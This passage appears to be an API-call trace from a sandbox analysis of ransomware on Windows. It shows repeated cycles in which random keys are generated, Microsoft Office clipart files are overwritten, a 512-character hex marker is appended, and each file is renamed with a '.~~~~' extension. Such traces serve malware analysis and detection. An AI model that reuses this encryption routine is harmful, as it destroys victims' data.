	[0104.469] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.469] GetLastError () returned 0x0
	[0104.469] GetLastError () returned 0x0
	[0104.469] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.469] GetLastError () returned 0x0
	[0104.469] GetLastError () returned 0x0
	[0104.472] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff9064, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.472] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x6f9c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x6f9c, lpOverlapped=0x0) returned 1
	[0104.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.473] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.473] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.473] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.473] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.473] CloseHandle (hObject=0x128) returned 1
	[0104.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.~~~~")) returned 1
	[0104.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.494] GetLastError () returned 0x0
	[0104.502] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.512] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.512] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.512] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22450202101) returned 1
	[0104.512] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7f6fdf0, dwHighDateTime=0x1d60e1e)) 
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2b48
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2b48 | out: hHeap=0x300000) returned 1
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868e90
	[0104.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.513] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.513] GetLastError () returned 0x0
	[0104.513] GetLastError () returned 0x0
	[0104.513] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.513] GetLastError () returned 0x0
	[0104.513] GetLastError () returned 0x0
	[0104.518] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff1e86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.518] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0xe17a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0xe17a, lpOverlapped=0x0) returned 1
	[0104.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.520] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.520] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.520] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.520] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.520] CloseHandle (hObject=0x128) returned 1
	[0104.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.521] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.~~~~")) returned 1
	[0104.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.522] GetLastError () returned 0x0
	[0104.523] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.525] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.525] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.525] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.525] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22451523913) returned 1
	[0104.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7f95f50, dwHighDateTime=0x1d60e1e)) 
	[0104.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9d38
	[0104.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d38 | out: hHeap=0x300000) returned 1
	[0104.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2868f28
	[0104.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.526] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.526] GetLastError () returned 0x0
	[0104.526] GetLastError () returned 0x0
	[0104.526] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.527] GetLastError () returned 0x0
	[0104.527] GetLastError () returned 0x0
	[0104.529] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff83b2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.530] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x7c4e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x7c4e, lpOverlapped=0x0) returned 1
	[0104.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.530] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.531] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.531] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.531] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.531] CloseHandle (hObject=0x128) returned 1
	[0104.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d320
	[0104.531] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.~~~~")) returned 1
	[0104.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.532] GetLastError () returned 0x0
	[0104.532] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.534] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.534] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.534] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22452393434) returned 1
	[0104.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7fbc0b0, dwHighDateTime=0x1d60e1e)) 
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c218
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c218 | out: hHeap=0x300000) returned 1
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2869058
	[0104.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.534] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.535] GetLastError () returned 0x0
	[0104.535] GetLastError () returned 0x0
	[0104.535] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.535] GetLastError () returned 0x0
	[0104.535] GetLastError () returned 0x0
	[0104.538] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff3c82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.538] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0xc37e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0xc37e, lpOverlapped=0x0) returned 1
	[0104.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.539] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.539] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.539] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.539] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.539] CloseHandle (hObject=0x128) returned 1
	[0104.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.~~~~")) returned 1
	[0104.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.541] GetLastError () returned 0x0
	[0104.541] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.542] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.542] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.542] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22453223007) returned 1
	[0104.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7fbc0b0, dwHighDateTime=0x1d60e1e)) 
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c288
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c288 | out: hHeap=0x300000) returned 1
	[0104.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28690f0
	[0104.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.543] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0104.543] GetLastError () returned 0x0
	[0104.543] GetLastError () returned 0x0
	[0104.543] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0104.543] GetLastError () returned 0x0
	[0104.543] GetLastError () returned 0x0
	[0104.546] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffbedc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.546] WriteFile (in: hFile=0x128, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x4124, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x25dfec0*=0x4124, lpOverlapped=0x0) returned 1
	[0104.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.547] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.547] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.547] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.547] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.547] CloseHandle (hObject=0x128) returned 1
	[0104.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.547] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.~~~~")) returned 1
	[0104.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0104.548] GetLastError () returned 0x0
	[0104.549] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0104.550] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0104.550] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0104.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0104.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0104.550] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22454023753) returned 1
	[0104.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa7fe2210, dwHighDateTime=0x1d60e1e)) 
	[0104.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0104.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0104.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0104.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286c2c0
	[0104.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286c2c0 | out: hHeap=0x300000) returned 1
	[0104.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
